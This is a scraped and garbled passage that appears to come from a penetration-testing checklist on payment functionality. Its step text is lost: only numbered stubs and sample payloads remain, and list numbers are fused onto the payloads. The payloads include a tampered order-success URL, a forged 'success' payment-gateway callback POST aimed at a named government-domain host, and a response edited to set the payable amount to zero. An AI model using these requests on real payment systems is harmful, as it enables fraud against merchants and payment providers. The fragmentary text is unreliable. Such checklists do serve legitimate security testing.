Payment Functionality
Check List
Methodology
Black Box
Payment Gateway Bypass
1
2
3
4
5
Payment Bypass
1
2
3
4
5
https://target.com/success?order_id=12345&status=paid6
https://xyz.com/success?order_id=123457
Payment Callback Forgery
1
2
3
4
5
POST /PayFail.aspx HTTP/1.1
status=failure&unmappedstatus=userCancelled&net_amount_debit=0.00&error=E1605&error_Message=Transaction+failed...6
status=success
unmappedstatus=captured
net_amount_debit=5.06
additionalCharges=0.06
mode=UPI
field9=Success%7CCompleted+Using+Callback
error=E000
error_Message=No+Error7
8
9
10
status=success
unmappedstatus=captured
net_amount_debit=5.06
additionalCharges=0.06
mode=UPI
field9=Success%7CCompleted+Using+Callback
error=E000
error_Message=No+Error11
POST /PayCallBack.aspx HTTP/1.1
Host: www.xyz.gov.in
Content-Type: application/x-www-form-urlencoded
mihpayid=17797357055&mode=UPI&status=success&unmappedstatus=captured&key=dTA6xR&txnid=17917&amount=5.00&discount=0.00&additionalCharges=0.06&net_amount_debit=5.06&addedon=2023-07-24+11%3A13%3A45&productinfo=Type+Rent&firstname=Test&email=test@gmail.com&phone=1234567890&hash=56c3763f3b737116730e420b2004a4b699f485e98ccc3e887aa63afee3c49ce3f9780c375fe08bf6f36df76497463f1ca47c7fa4587541b88a1b99cc1823515c&field1=UPI&field9=Success%7CCompleted+Using+Callback&payment_source=payu&PG_TYPE=UPI-PG&bank_ref_num=FAKE123&bankcode=UPI&error=E000&error_Message=No+Error12
Response Manipulation
1
2
3
4
POST /cart/apply-discount HTTP/1.1
...
points=100&cart_id=1234565
{
"final_amount": 250,
"discount": 100,
"payable": 150
}6
"payable": 0"final_amount": 07
8
IDOR in Payment
1
2
3
4
5
6
7
8
9
Negative Quantity Manipulation
1
2
3
4
5
White Box
Cheat Sheet
Last updated